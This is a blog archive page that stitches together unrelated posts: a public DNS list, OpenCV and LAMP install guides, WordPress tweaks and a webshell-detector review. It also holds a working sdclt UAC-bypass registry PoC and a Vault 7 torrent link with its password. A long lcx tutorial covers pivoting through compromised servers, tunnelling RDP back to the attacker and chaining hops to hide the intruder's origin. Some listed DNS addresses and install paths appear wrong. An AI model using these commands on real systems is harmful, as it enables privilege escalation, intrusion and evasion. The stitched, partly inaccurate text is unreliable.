月度归档:2017年03月

Top 10 Best Public DNS Servers & Fastest DNS Servers 2017

Fastest DNS Servers – What is the best free public DNS server? See the list of top 10 best public DNS servers & fastest DNS servers 2017, Get the best DNS servers to use and fastest DNS server in the world

In order to access the internet, you need to have DNS servers. All the websites which you access on the internet have DNS server which is responsible for handling all the requests which come to it via a computer.

There are different DNS (Domain Name System) servers which are allocated by different internet service providers to the computers. If you are not able to open some websites on your computer then there might be having a problem with the DNS server of the internet service provider you are using.

best public dns servers

You can always use Public DNS servers as there are a lot of free public DNS servers available. In today’s best free DNS servers guide, we are going to share a complete list of top 10 best public DNS servers to use and the fastest DNS server in the world. Check out the below mentioned best and fastest DNS servers 2017:

Top 10 Best Public DNS Servers in the World

Most of you might think that if your Internet Service Provider (ISP) comes with a default DNS Server then what is the actual need of finding and using an alternate DNS server or public DNS servers?

If similar questions are coming repeatedly in your mind then here are the some of the most appropriate reasons:

  • Internet speed depending upon the distance between your place and DNS server, so if you change DNS servers there will be speed improvements.
  • If your Internet Service Provider’s DNS servers are not quite reliable, obviously using an alternate DNS server or best free public DNS servers will improve stability.
  • In case, you are using an old Operating System on your PC with no regular security updates then using a third-party DNS server or safe DNS servers will be a great protection from phishing attacks.

So, now if you are quite clear with the terms like what is DNS server? Why you should change you DNS Server? and, How to change DNS Server on Windows, Mac, and Android devices? then let’s have a look at the list of top 10 best public DNS servers & fastest DNS servers of 2017:

(1) Google Public DNS Server

One of the fastest DNS servers which you can use on your computer is Google Public DNS server. Using Google Public DNS server, you will get better browsing experience and enhanced security on your computer. The details of Google DNS server are shared below:

  • Preferred DNS server: 8.8.8.8
  • Alternate DNS server: 8.8.4.4

google public dns server

(2) Norton ConnectSafe

Not only Norton provides the best internet security and antivirus programs but they are also having fastest DNS servers. You can always use Norton Connectsafe which is their cloud-based service. Norton Connectsafe will help you in getting protection from malicious websites and websites with offensive content.

norton connectsafe

There are three pre-defined content filtering policies are available with Norton ConnectSafe for home and personal use:

Policy 1: Security

  • Preferred DNS Server: 199.85.126.10
  • Alternate DNS Server: 199.85.127.10

Policy 2: Security + Pornography

  • Preferred DNS Server: 199.85.126.20
  • Alternate DNS Server: 199.85.127.20

Policy 3: Security + Pornography + Other

  • Preferred DNS Server: 199.85.126.30
  • Alternate DNS Server: 199.85.127.30

(3) OpenDNS

OpenDNS is another cloud-based fastest DNS server 2017 which aims at giving ultimate protection from malicious attacks which are sent by the attackers on the internet. OpenDNS is one of the best public DNS servers as there is rarely any downtime.

  • Preferred DNS Server: 208.67.222.222
  • Alternate DNS server: 208.67.222.220

opendns

(4) Comodo Secure DNS

If you are looking for a public DNS server 2017 which will provide better browsing experience as compared to your internet service provider you need to try Comodo Secure DNS. You will be able to surf all the websites safely and easily using Comodo Secure DNS.

  • Preferred DNS Server: 8.26.56.26
  • Alternate DNS server: 8.20.247.20

comodo secure dns

(5) Level3

The next free DNS servers which make our list of best free public DNS servers is Level3. The DNS server is operated by Level 3 communications. In order to use Level3, free DNS servers you can use the below-mentioned DNS addresses in the settings.

Preferred DNS Server: 209.244.0.3
Alternate DNS server: 208.244.0.4

level3

See also: How to Fix “The proxy server is refusing connections” Error in Firefox

(6) DNS Advantage

DNS Advantage is the fastest DNS servers which will provide you the best routing information of the website you are opening. Not only you will be able to open all the websites with fastest DNS servers but it also helps you in getting protection from malicious websites and attacks. The details of best DNS servers are shared below:

  • Preferred DNS Server: 156.154.70.1
  • Alternate DNS server: 156.154.71.1

dns advantage

(7) OpenNIC

OpenNIC is the best alternative to the best domain registrars as this is the fastest DNS servers in the world. Using OpenNIC, you will be able to protect all your details from the government and also maintain your privacy. You can add the below-mentioned details in order to use OpenNIC.

  • Preferred DNS Server: 46.151.208.154
  • Alternate DNS server: 128.199.248.105

opennic

(8) Dyn

The next best free public DNS server is Dyn. One of the reasons why Dyn makes to our list of free public DNS servers is the amazing web experience offered by the DNS servers. All your information will be safe with the Dyn best DNS servers.

  • Preferred DNS Server: 216.146.35.35
  • Alternate DNS server: 216.146.36.36

dyn

(9) SafeDNS

The next name which makes our list of best DNS servers to use is SafeDNS. SafeDNS is another cloud-based service which will help you in getting a better browsing experience. SafeDNS provides a reliable network to share your and access your data.

  • Preferred DNS Server: 195.46.39.39
  • Alternate DNS server: 195.46.39.40

safedns

(10) DNS.Watch

The last service which makes our list of best DNS services is DNS.Watch. The fastest DNS service in the world will provide you uncensored, fast and reliable browsing experience for free of cost.

  • Preferred DNS Server: 84.200.69.80
  • Alternate DNS server: 84.200.70.40

dns.watch

Conclusion

If you are not able to surf the internet properly then you need to change the DNS servers. Using the above-shared list of fastest DNS servers in the world, you will get the best browsing experience and these DNS servers will also protect you from any possible attacks.

Please, feel free to share with us through comment section if you are using any highly secure DNS server or fastest DNS servers for speeding up your browsing experience, improving your internet security, and receiving the results you expect with absolutely no redirection!

ubuntu 14.04 下利用apt-get方式安装opencv

ubuntu 14.04 下利用apt-get方式安装OpenCV

标签(空格分隔): Linux学习 OpenCV


1.前言

相比于源代码方式安装opencv,通过apt方式安装过程步骤简单些,消耗的时间也少一些。通过apt方式安装没有自动生成opencv.pc文件,所以在编写makefile文件时不能直接使用pkg-config工具,而需要逐个指定opencv_core、opencv_imgproc等动态链接库!

2.安装方法

  • 更新ubtuntu系统软件源
sudo apt-get update
  • 安装opencv
sudo apt-get install libcv-dev
  • 这个安装过程大概需要几分钟,安装完成后得到如下结果
    ubuntu 14.04 下利用apt-get方式安装opencv

3. opencv被安装在了哪里?

3.1 opencv的安装源文件

  • apt-get install **这样的命令会下载文件放在 /var/cache/apt/archives目录下,然后安装。可以看到,opencv相关的.deb文件都在该目录下;如下图所示,原始的/var/cache/apt/archives目录下只有文件夹partial和文件lock,但由于此时下载了opencv的相关安装文件,发现该文件夹下多个大量的deb安装文件!
    ubuntu 14.04 下利用apt-get方式安装opencv

  • 实际上,执行完以上的安装过程,这些archives路径下的文件是可以直接删除的!因为相关的安装已经结束,不再需要安装文件了

    • 安装上面这种apt-get install的方式,会使得/var/cache/apt/archives这个目录所占空间会越来越大
    • 但幸运的是apt提供了相应的管理工具apt-get clean来删除文件目录/var/cache/apt/archives/和文件目录 /var/cache/apt/archives/partial/下所有包(锁定的除外)。
    • 执行举例:
      执行如下命令
      ubuntu 14.04 下利用apt-get方式安装opencv
      可以发现,刚刚下载的所有关于opencv的文件都被删除了
      ubuntu 14.04 下利用apt-get方式安装opencv

3.2 opencv相关的头文件的安装位置

opencv相关的头文件被安装到/usr/lib目录中,该目录是linux默认头文件查找路径。

3.3 opencv的相关动态链接库的安装位置

  • linux下的动态链接库文件即.so文件

  • opencv的相关动态链接库被安装到/usr/lib目录中。这些动态链接库包括:
    【opencv_calib3d】——相机校准和三维重建
    【opencv_core】——核心模块,绘图和其他辅助功能
    【opencv_features2d】——二维特征检测
    【opencv_flann】——快速最邻近搜索
    【opencv_highgui】——GUI用户界面
    【opencv_imgproc】——图像处理
    【opencv_legacy】——废弃部分
    【opencv_ml】——机器学习模块
    【opencv_objdetect】——目标检测模块
    【opencv_ocl】——运用OpenCL加速的计算机视觉组件模块
    【opencv_video】——视频分析组件

  • 下图是/usr/lib文件夹中与opencv相关的文件,例如,第一个和第二个文件分别为机器学习模块对应的静态态链接库文件(libopencv_ml.a)和动态链接库文件(libopencv_ml.so)
    ubuntu 14.04 下利用apt-get方式安装opencv

3.4 linux下的opencv和windows下的opencv文件

  • windows下下载得到的opencv解压文件包含2个文件夹:source+build

    • source:opencv的源代码(opencv是开源的),下面的build文件夹下的各种库就是在这些源代码的基础上利用cMake得到的(实际上,该source文件夹除了可以编译得到下面的build中的动态链接库和静态链接库外,在实际调用opencv相关库时,并不需要!)
    • build:存放的opencv**预编译好的各种库(**DLL(动态链接库)lib库(静态链接库)),对于使用opencv的使用者来说,只使用该文件夹就够了,不需要自己利用opencv的源代码重新编译得到这些库
  • linux下载得到的是.deb解压缩后也可以得到动态链接库和静态链接库

    在ubuntu中, .so文件即为动态链接库文件,对应于windows下的dll文件
    在ubuntu中, .a文件对应于windows下的lib文件;实际上,该文件就是普通的函数通过编译之后得到(在高翔的SLAM教程第2章有一个关于如何编译得到静态链接库的简单小例子)

实际上,无论是在任何操作系统下,我们需要使用opencv的相关库时,使用的都仅仅是它的动态链接库和静态链接库

4. 测试代码

4.1 源码

  • 建立名称为test.cpp的c++文件,内容如下
#include <opencv2/core/core.hpp>
#include <opencv2/imgproc/imgproc.hpp>
#include <opencv2/highgui/highgui.hpp>
#include <iostream>
using namespace cv;
using namespace std;
int main (int argc, char **argv)
{
    Mat image, image_gray;
    image = imread(argv[1], CV_LOAD_IMAGE_COLOR );
    if (argc != 2 || !image.data) {
        cout << "No image data/n";
        return -1;
    }

    cvtColor(image, image_gray, CV_RGB2GRAY);
    namedWindow("image", CV_WINDOW_AUTOSIZE);
    namedWindow("image gray", CV_WINDOW_AUTOSIZE);

    imshow("image", image);
    imshow("image gray", image_gray);

    waitKey(0);
    return 0;
}
  • 建立名称为Makefile的文件,输入如下内容
CC = g++
# 可执行文件
TARGET = test
# C文件
SRCS = test.cpp
# 目标文件
OBJS = $(SRCS:.cpp=.o)
# 库文件
DLIBS = -lopencv_core -lopencv_imgproc -lopencv_highgui
# 链接为可执行文件
$(TARGET):$(OBJS)
    $(CC) -o $@ $^ $(DLIBS)  
clean:
    rm -rf $(TARGET) $(OBJS)
# 编译规则 $@代表目标文件 $< 代表第一个依赖文件
%.o:%.cpp
    $(CC) -o $@ -c $<

××××××
注意1:
12行、14行、17行前面为Tab,而非空格,否则会出现“makefile:12: *** 遗漏分隔符 。 停止。”这样的错误

ubuntu 14.04 下利用apt-get方式安装opencv

注意2:
由于示例中使用了opencv中的核心部分(opencv_core)、图像处理部分(opencv_imgproc)和GUI部分(opencv_highgui),所以依次增加opencv_core、opencv_imgproc、opencv_highgui动态链接库。
即由DLIBS = -lopencv_core -lopencv_imgproc -lopencv_highgui语句实现

4.2 make

cd 文档  # 进入程序所在目录
make 

ubuntu 14.04 下利用apt-get方式安装opencv

产生了两个文件:test文件和test.o文件
ubuntu 14.04 下利用apt-get方式安装opencv

4.3 测试程序

./test lena.bmp

运行结果
ubuntu 14.04 下利用apt-get方式安装opencv

上面程序test的作用就是将输入的图像转换为灰度图像,可以看到,程序实现了该功能,也就证明了opencv安装成功

当然,这里的Makefile文件非常重要,具体的使用方式还没明白,有待学习

另外,cmake和make的区别是什么呢?发现大部分都是使用Cmake工具,需要写CMakeLists.txt文件,具体还有待学习


参考文献
[1] 树莓派学习笔记——apt方式安装OpenCV
[2] apt-get下载的文件放在哪个目录

如何利用sdclt磁盘备份工具绕过UAC

*本文原创作者:c0debreak,属Freebuf原创奖励计划,未经许可禁止转载

简介

sdclt 是微软提供的命令行磁盘备份工具,从 Vista 时代引入

如何利用sdclt磁盘备份工具绕过UAC

在 Windows 10 开始,sdclt 加入了自动提升权限的能力,requestedExecutionLevel 由 asInvoker 变为 requireAdministrator

如何利用sdclt磁盘备份工具绕过UAC

(命令 sigcheck -m %systemroot%/system32/sdclt.exe 的结果)

当不带任何参数启动 sdclt 时,sdclt 会打开控制面板

如何利用sdclt磁盘备份工具绕过UAC

控制面板的主程序为 control.exe,那么 sdclt 是如何找到 control.exe 完整路径的呢?

通过 process monitor 的分析 (过滤掉不相干进程,再用 CTRL + F 搜索 control.exe),sdclt 似乎是从注册表读取到了 control.exe 的路径,

如何利用sdclt磁盘备份工具绕过UAC

按照这个原理,我们写一个简单的 PoC 测试下

reg add "HKCU/Software/Microsoft/Windows/CurrentVersion/App Paths/control.exe" /t REG_SZ /d %COMSPEC% /f
sdclt

在 cmd 中执行一下试试

如何利用sdclt磁盘备份工具绕过UAC

可以看到,控制面板没有启动,而是弹出了一个 cmd,我们也获得了管理员权限

当然,提升权限后还要清理下痕迹,具体代码请看完整PoC,点这里下载

写在最后

其实可以把 HKCU 整个导出来看一下,目前我还没有发现其它类似的案例,有兴趣的同学可以研究下~

最后发个广告,点这里有惊喜哦

*本文原创作者:c0debreak,属Freebuf原创奖励计划,未经许可禁止转载

WikiLeaks Vault 7档案下载(包含大量 CIA 工具和文档)

美国时间 2017 年 3 月 7 日,WikiLeaks 开始使用一个新的代号 Vault 7 作为美国中情局(CIA)的敏感信息披露计划,这次被发布的第一份档案 Year Zero 大小高达 513MB,一共包含 8,761 份相关敏感文档。根据维基解密的阐述,这份包含了大量 0day,恶意软件,病毒,木马以及相关文档的高度机密资料,在美国政府黑客和承包商之间传播,其中有人向维基解密提交了这份绝密档案的部分内容。

从 2001 年起,中情局(CIA)获得了比美国国家安全局(NSA)更高的政治和财政预算的优先权,从那时起,美国中情局不仅仅建立了臭名昭著的 Drone Fleet(无人机舰队),还在全球部署了自己的黑客武装力量,该机构的黑客不必向其竞争对手 NSA 再披露自己的非授权入侵行为。直到 2016 年底,CIA 的黑客部门正式隶属于网络智能中心 (CCI),拥有超过 5,000 名登记的员工,并开发了超过 1,000 个网络攻击武器,代码量超过了 Facebook,从此举看来,CIA 在其内部建立起了属于自己的国家安全局,它的责任机制比 NSA 更少。

Year Zero 作为披露计划的第一部分,档案说明了 CIA 在全球部署的恶意软件的范围和目标,军火库包含了美国和欧洲公司的产品的 0day exploit,包括 Apple 的 iOS,Google 的 Android,甚至连 Samsung TV 都成为了监控对象。

档案下载

档案种子地址:https://team.armyzer0.com/files/WikiLeaks-Year-Zero-2017-v1.7z.torrent

档案发布地址:https://wikileaks.org/ciav7p1/

档案解压密码:SplinterItIntoAThousandPiecesAndScatterItIntoTheWinds

我们已经在对档案进行分析并提取干货,欢迎大家留意后续干货利用分析文章。(Teams: Armyzer0)

*本文作者:bobylive,转载请注明来自FreeBuf.COM

一款好用的php webshell检测工具

PHP-malware-finder 是一款优秀的检测webshell和恶意软件混淆代码的工具,比如以下组件都可以被检测发现。

Best PHP Obfuscator

Carbylamine

Cipher Design

Cyklodev

Joes Web Tools Obfuscator

P.A.S

PHP Jiami

Php Obfuscator Encode

SpinObf

Weevely3

atomiku

cobra obfuscator

phpencode

tennc

web-malware-collection

webtoolsvn

novahot

工作原理

PHP-malware-finder的检测原理是基于YARA规则爬取文件系统和测试文件,如可以发现经过两次编码、解压的危险参数。

使用方法

两种使用方法:

$ ./phpmalwarefinder -h
Usage phpmalwarefinder [-cfhtv] [-l (php|asp)] <file|folder> ...
    -c  Optional path to a configuration file
    -f  Fast mode
    -h  Show this help message
    -t  Specify the number of threads to use (8 by default)
    -v  Verbose mode
    -l  Set language ('asp', 'php')

也可以这样:

$ yara -r ./php.yar /var/www
$ yara -r ./asp.yar /var/www

可以通过修改yar文件添加规则:

一款好用的php webshell检测工具

使用测试:

一款好用的php webshell检测工具

查杀一下自己平时收集到的免杀shell,覆盖度还是蛮高的。

下载地址

github地址:

https://github.com/nbs-system/php-malware-finder

*本文作者:六翼,转载须注明来自FreeBuf.COM

LAMP安装脚本

本脚本适用环境:

  • 系统支持:CentOS-5 (32bit/64bit)或CentOS-6 (32bit/64bit)
  • 内存要求:≥512M
  • 日期:2013年02月22日

将会安装:

  • 1、Apache 2.4.3
  • 2、MySQL 5.5.30
  • 3、PHP 5.3.22 + ZendGuardLoader(Zend出品的加速器)
  • 4、phpMyAdmin 3.5.7
  • 5、OCI8 + oracle-instantclient  (可选安装,支持PHP连接Oracle数据库)
  • 6、xcache 2.0.1 (可选安装)
  • 7、xcache 3.0.1 (推荐安装)
  • 8、pure-ftpd-1.0.36(可选安装)

注意:6、7二者只能选其一安装。

如何安装:
第一步,终端中输入以下命令:

cd /root
wget http://teddysun.googlecode.com/files/lamp1.2.1.tar.gz
tar -zxvf lamp1.2.1.tar.gz
cd /root/lamp1.2.1
chmod +x *.sh

第二步,禁止SELINUX
终端中输入以下命令:

cd /root/lamp1.2.1
./disable.sh

第三步,安装LAMP
终端中输入以下命令:

cd /root/lamp1.2.1
./lamp.sh | tee lamp.log

安装其它:

  • 1、(可选安装)执行脚本xcache_2.0.1.sh安装xcache 2.0.1。(命令:./xcache_2.0.1.sh)
  •      (推荐安装)执行脚本xcache_3.0.1.sh安装xcache 3.0.1。(命令:./xcache_3.0.1.sh)
  • 2、执行脚本php5.3_oci8_oracle11g.sh安装OCI8扩展以及oracle-instantclient11.2(命令:./php5.3_oci8_oracle11g.sh)
  • 3、执行脚本php5.3_oci8_oracle10g.sh安装OCI8扩展以及oracle-instantclient10.2(命令:./php5.3_oci8_oracle10g.sh)
  • 4、(可选安装)执行脚本pureftpd.sh安装pure-ftpd-1.0.36。(命令:./pureftpd.sh)

备注:2、3两者选其一执行即可(可选)。该脚本是为了使PHP可以连接Oracle数据库。若连接的数据库版本为10.2,则执行3,否则执行2。

注意:
1、执行脚本时出现下面的错误提示时。

-bash: ./lamp.sh: /bin/bash^M: bad interpreter: No such file or directory

是因为Windows下和Linux下的文件编码不同所致。
解决办法是:
执行

vi lamp.sh

输入命令

:set ff=unix 

#注意,包括冒号
回车后,输入ZZ(注意为大写连续2个字母Z),保存退出vi命令。

2、Oracle数据库连接错误排查
一般连接外部oracle服务器那一步骤时,可能会出现ORA-24408:could not generate unique server group name这样的错误,解决办法是在hosts中将主机名添加即可:

vi /etc/hosts
127.0.0.1 localhost localhost.localdomain localhost4 localhost4.localdomain4 test
::1 localhost localhost.localdomain localhost6 localhost6.localdomain6 test

上面的代码中,test即为主机名。然后重启网络服务即可。service network restart

使用提示:
lamp add(del,list):创建(删除,列出)虚拟主机。
lamp ftp(add|del|list):创建(删除,列出)ftp用户。
lamp uninstall:一键删除lamp(删除之前注意备份好数据!)

程序目录:
mysql安装目录: /usr/local/mysql
mysql data目录:/usr/local/mysql/data(默认,安装时可更改路径)
php安装目录: /usr/local/php
apache安装目录: /usr/local/apache

命令一览:
mysql命令: /etc/init.d/mysqld(start|stop|restart|reload|status)
       或:service mysqld(start|stop|restart|reload|status)
apache命令: /etc/init.d/httpd(start|stop|restart|reload|status)
       或:service httpd(start|stop|restart|reload|status)      

网站根目录:
安装完后默认的web根目录: /data/www/default

更多信息请参考Google code项目主页

更新(2013年5月26日):LAMP一键安装脚本已更新到2.0版本。详情请参照页面

Google Drive for WordPress插件汉化

Google Drive for WordPress插件汉化

安装完WordPress就肯定免不了要折腾,折腾就免不了会出错,出错免不了会头疼。怎么办?做改动之前,你只需要一键备份下网站数据和数据库,那么即使折腾出错了,也能及时恢复如初。

Google Drive for WordPress插件的安装,请参考网上已有的教程,戳这里。我主要是在这篇教程的基础上,部分汉化了该插件的界面,便于国人安装和使用。

下载汉化版的插件:http://pan.baidu.com/share/link?shareid=274990&uk=50623901

下载wp-google-drive.zip文件,在后台安装插件界面,上传该zip文件,安装完毕后启用。如图所示:

Google Drive for WordPress插件汉化

解决wordpress时区不对的方法

在汉化Google Drive for WordPress插件时发现,一键备份产生的文件名末尾是以时间戳结束,如1361761851这样的一串数字,时间久了备份文件变多,不利于记忆和区分。

因此,重新修改了代码,将时间戳转换成日期格式,比如现在是2013年2月26日10时30分18秒,转换之后的格式就是20130226_103018,修改后的插件已重新打包上传。《Google Drive for WordPress插件汉化》一文中的下载链接已更新,欢迎下载使用。

可是我在测试时发现,生成的文件名最后的时间不对。原来Wordpress默认的是UTC时区,跟中国差了8小时时差。于是找到了一些解决方法如下:

1、如果是VPS建站,你拥有控制权的话,可以修改php.ini文件。

date.timezone = "Asia/Shanghai"

2、在/wp-includes/functions.php中加入:

date_default_timezone_set('Asia/Shanghai');

3、在 wp-config.php中加入:

date_default_timezone_set('Asia/Shanghai');

本文采用了第三种方法,将来Wordpress升级亦不受影响。

解决wordpress链接含有more-link的方法

在wordpress文章中可以使用more标签来实现摘要的功能。但是在点击“继续阅读”(在这里我将“继续阅读”重新汉化成“阅读全文”,个人喜好)后,发现链接后面跟了一个“#more-数字”。不利于SEO和搜索引擎收录,因此需要去除之。

打开主题的functions.php,添加代码如下:

function remove_more_jump_link($link) {
	return preg_replace('/#more-/d+/i','',$link);
}
add_filter("the_content_more_link", "remove_more_jump_link");

这段代码的功能就是添加一条过滤规则,将$link中的“#more-数字”替换为空。这样就实现了去除more-link的功能了。

Lcx的多种用法:3个功能+9个参数,你会怎么玩?

*原创作者:ForWhat,本文属FreeBuf原创奖励计划,未经许可禁止转载

Lcx的多种用法:3个功能+9个参数,你会怎么玩?

前言

记得刚开始接触黑客技术的时候是2014年,那时候struts2漏洞利用工具正流行,当时也下载了一个玩玩,上传了很多的菜刀木马,不过这时候就有个问题:无法连接到被控制计算机的3389。百度一下,原来对面的服务器是在内网中,没有做映射是连接不到的,但是可以借助一个工具进行端口转发来实现连接处于内网的3389服务器,原文链接(百度搜索lcx第一条出现的)http://sec.chinabyte.com/225/8848725.shtml随着时间的推移,对于这个工具的认识也在不断加深中,现在我来分享一下。第一次写文章,有些错误欢迎大牛指正,中间会有些感(fei)(hua)不想看的可以直接看进阶篇,高级篇或者总结

关于

那篇文章大概意思是说连接内网的3389需要4步:

1:确定被控制计算机的内网ip

2:被控制的计算机执行”lcx -slave 你的计算机ip 51 被控制计算机的ip 3389”

3:本机执行”lcx -listen 51 10000”

4:用mstsc 连接 “127.0.0.1:10000”

看完这篇文章lcx给我的第一印象就是用来连接内网服务器的3389,不过其实这只是冰山一角。

正文

基础篇 连接

随着对网络的认识不断深入我发现上面那篇文章其实有些地方可以改进,原文的意思就是如何连接处于内网中被控制的计算机,所以可以用以下步骤实现:

前提:你的计算机处于公网,被控制的计算机能访问外网

1:本机执行”lcx –listen 40050 10000”

2:被控制的计算机执行”lcx -slave 你的ip 端口 127.0.0.1 3389”

3:用mstsc 连接 “127.0.0.1:10000”

有些新手可能会好奇为啥slave 的第三个参数是127.0.0.1 这里先看下lcx的使用帮助:

======================== HUC Packet TransmitTool V1.00 =======================

=========== Code by lion & bkbll, Welcometo [url]http://www.cnhonker.com[/url] ==========

 

[Usage of Packet Transmit:]

  lcx-<listen|tran|slave> <option> [-log logfile]

 

[option:]

 -listen <ConnectPort> <TransmitPort>

  -tran<ConnectPort> <TransmitHost> <TransmitPort>

 -slave <ConnectHost> <ConnectPort> <TransmitHost><TransmitPort>

Lcx有两大功能,一个是端口转发(listenslave成对使用),另一个是端口映射(tran)

端口转发:

Lcx -Listen <监听slave请求的端口(对应slave 的第二个参数)> <等待连接的端口>

Lcx -slave <你的ip> <监听端口(对应listen的第一个参数)> <目标ip> <目标端口>

所以既然我们只需要连接那台服务器,我们只需要设置目标ip参数为127.0.0.1就好了(127.0.0.1 Localhost 即本机)因为别忘了slave是在对面服务器执行的。当然了这里补充一点目标端口号是可以换的比如3306这样你就可以连接对面的MySQL数据库了。有些人肯定要问了如果把这个127.0.0.1换成其他的ip会怎么样,如果你尝试过了那么恭喜你发现了新功能,你可以访问更多的3389

1、本机执行lcx -listen 40050 10000

Lcx的多种用法:3个功能+9个参数,你会怎么玩?

2、被控制服务器执行 lcx -slave 1.1.1.1 40050 10.10.0.3 3389

Lcx的多种用法:3个功能+9个参数,你会怎么玩?

3、连接成功之后中间就出现了一条通道,可以互相传输数据

Lcx的多种用法:3个功能+9个参数,你会怎么玩?

4、我们打开mstsc 输入127.0.0.1:10000

Lcx的多种用法:3个功能+9个参数,你会怎么玩?

Ok,这样我们就能访问内网的其他机子了,理论上来说被控制的服务器能访问到的我们都能访问,其实就是以被攻击的服务器做跳板。扩展一点讲,还记得listen的参数么? 第一个是监听slave请求的端口,另一个监听端口,这个监听端口我们可以访问,当然别人也可以访问(一般用来共享)

Lcx的多种用法:3个功能+9个参数,你会怎么玩?

1.1.1.1做好监听并且对面执行slave且成功的话1.1.1.21.1.1.3就可以用mstsc连接1.1.1.1:10000来访问到对面10.10.0.33389

端口映射:

Lcx -tran <等待连接的端口> <目标ip> <目标端口>

上面的端口转发中我们的前提是在公网中,但是大部分情况下我们的电脑都是接着路由器的所以我们需要设置映射,当然了是在路由器上设置,我拿我的路由器做下演示:

Lcx的多种用法:3个功能+9个参数,你会怎么玩?

不同人的路由器上的显示可能不一样,也可能是端口映射或者NAT。总之看到类似的就差不多了,不过有些路由器可能没有外部端口和内部端口之分,这样的都是等端口映射,类似于Lcx -tran<等待连接的端口><目标端口一样>,上面的是我的路由器。

关于路由器映射的就画一张图就能解决:

Lcx的多种用法:3个功能+9个参数,你会怎么玩?

1192.168.0.10监听40000端口

2、对面的服务器执行slave穿过防火墙经过internet访问到路由器的40050端口,然后路由器根据规则将40050的数据映射到内网192.168.0.1040000上,这样连接就建立成功了

3、连接192.168.0.10:50000

这样就能访问到对面10.10.0.33389  不太理解的朋友可以参照图1 2 3 4

Lcx -tran 1920 127.0.0.1 21

Lcx的多种用法:3个功能+9个参数,你会怎么玩?

这样我访问本机的1920端口就能访问到本机的ftp了,当然把127.0.0.1换成其他的ip都可以。

进阶篇 隐藏

有些朋友可能会说基础篇中tran就出现了一次,不过在这里会出现四次 Lcx的多种用法:3个功能+9个参数,你会怎么玩? ok,进入正题,一般来说我们进行渗透的时候都需要注意自身的安全,最基础的保护就是隐藏自己的ip。说到隐藏ip许多朋友会想到用代理或者vpn,这里呢我们就说用lcx,当然会涉及到代理服务器,看过基础篇的朋友的应该可以直接看懂下面的图。

前提:你拥有一台公网的服务器,或者有网关权限的内网机器(不知道说的对不对总之就是可以设置端口映射,让外网可以直接访问到内网的机器),你需要连接的是一台公网机器

一般来说用Tran来隐藏访问公网机器或者有网关权限的内网机器

1、如果你拥有公网机器

Lcx的多种用法:3个功能+9个参数,你会怎么玩?

1、被控制的服务器运行tran 50000 3.3.3.3 3389

2、我们连接2.2.2.2:50000这样我们就能连接到3.3.3.33389了,此时我们打开cmd窗口运行netstat –an | find “3389”会惊奇的发现

TCP  3.3.3.3:3389  2.2.2.2:xxxxx ESTABLISHED

连接本机3389端口的是2.2.2.2这样对面记录到的连接信息都是2.2.2.2的,除非对面拿下2.2.2.2才能看到是谁连接了3.3.3.3

2、如果你拥有取得网关权限的内网机器

Lcx的多种用法:3个功能+9个参数,你会怎么玩?

比刚刚多的就是一个内网出口需要做个映射,就像前面给自己的路由器上面做映射一样,这里要注意了一般来说内网的环境都是挺复杂的所以一般来说想实现上面的话比较困难,推荐用公网机器做跳板,当然了大牛自然有方法拿到网关权限。

通常情况下我们需要连接内网中的机器,也就是需要在被控制的机器上运行slave,那怎么隐藏呢,可能有些小伙伴已经想到了,参照前面的图5可以看出我们只需在跳板上执行listen之后连接就好了。当然了如果跳板在内网同上设置映射。还有内网机器能访问外网

Lcx的多种用法:3个功能+9个参数,你会怎么玩?

这样对面看到的连接请求都是来自2.2.2.2的。

然后展示一张比较完整的图。

Lcx的多种用法:3个功能+9个参数,你会怎么玩?

我们拿到了对面一台内网的机子,这里我是在对面的服务器上开了socks代理或者vpn然后我们拥有两台有网关权限的跳板。最终结果是对面你的记录都来自3.3.3.3,可事实上飞的老远了……

先做好几个映射,一个是3.3.3.3上面的 50000端口 映射到172.25.0.230000端口还有个是2.2.2.2上面做两个映射 40000端口映射到 172.24.0.2 40050端口 65532端口映射到 172.24.0.250000端口

1、 172.25.0.2上执行lcx –tran 30000 2.2.2.2 40000

2、 172.24.0.2上执行lcx –listen 40050 50000

3、 10.10.0.2上执行 lcx –slave 3.3.3.3 50000 127.0.0.1 1080

4、 最后我们连接2.2.2.2:65532

看起来似乎有点复杂,讲下流程:在执行第三步的时候10.10.0.2发起了slave请求先穿过自己的防火墙访问到3.3.3.350000端口,接着3.3.3.3把数据映射到内网172.25.0.230000端口上,因为172.25.0.2运行了tran 30000 2.2.2.2 40000 所以172.25.0.2会把数据映射到2.2.2.240000端口上,先穿过自己的防火墙到达2.2.2.240000端口,最后2.2.2.240000端口的数据映射到172.24.0.240050端口,至此连接成功。然后我们的192.168.0.10经过各种proxyvpntor什么的连接2.2.2.265532端口就可以连接到172.24.0.250000端口,最后到达10.10.0.21080端口。

我已经放弃追查了。

能看完这么绕的话先感谢下,然后你认为这就完了?

高级篇 突破

在内网渗透的过程中会遇到各种环境,那lcx又会怎样发挥呢?

这里先讲一下我对正向连接和反向连接的理解:其实没有所谓的正向和反向,只有谁连接谁罢了。AB 对于我们来说我们正向连接了B,但是在B看来我们是反向连接了它同理BA在对面看来就是B正向连接了A。理解了这一点看下面的内容可能会比较方便。

假设1

1、 你获得了一台DMZ区域的服务器(外网ip 2.2.2.2 内网ip 10.10.0.2),可以这么理解:那台服务器所有开放的端口我们都能直接连接,当然了我们可以直接连接3389上去

2、 这台服务器不能直接访问外网,你也没有拿下出口点。

3、 对面的内网没有一台服务器能直接访问外网

在上面的情况中我们怎样才能让10.10.0.2上网呢,当然了如果这台服务器能连接外网的话,你就可以让对面所有的内网机器都能上网。联系前面讲的,可能有些朋友已经想到了。

Lcx的多种用法:3个功能+9个参数,你会怎么玩?

先补充下192.168.0.10开了代理服务器,然后有些朋友注意到了这个slave是在本机上执行的,为什么要这么执行,前面的假设中讲到了这个10.10.0.2是不能直接访问外网的,不过可以开端口而且别人都可以连接,可能受到以前的影响,认为slave都是在对面执行的,其实不然,有些特殊情况是可以反过来用的:对面开监听我们执行slave,在对面我们看来是反向连接了,但是在我们看来我们是去正向连接的(就像你直接访问对面的3389),防火墙也不会拦截,这样这可以连接成功,然后对面使用代理工具连接10.10.0.21080端口就可以访问外网了。当然了也可以在10.10.0.2上开个代理服务器然后使用二级代理功能。不过用不用都无所谓反正对面只需要访问10.10.0.2:1080就可以访问到外面的世界了。

假设2

1、 你拿下了两台内网服务器AB

2、 服务器B不能访问任何机器(自己的话当然可以了),只能让别人访问

遇到这种情况比较好处理,只需参考上面一个假设就能上网了,Blisten A执行slave这样一来所有的请求ip都是127.0.0.1

再说一个实例:

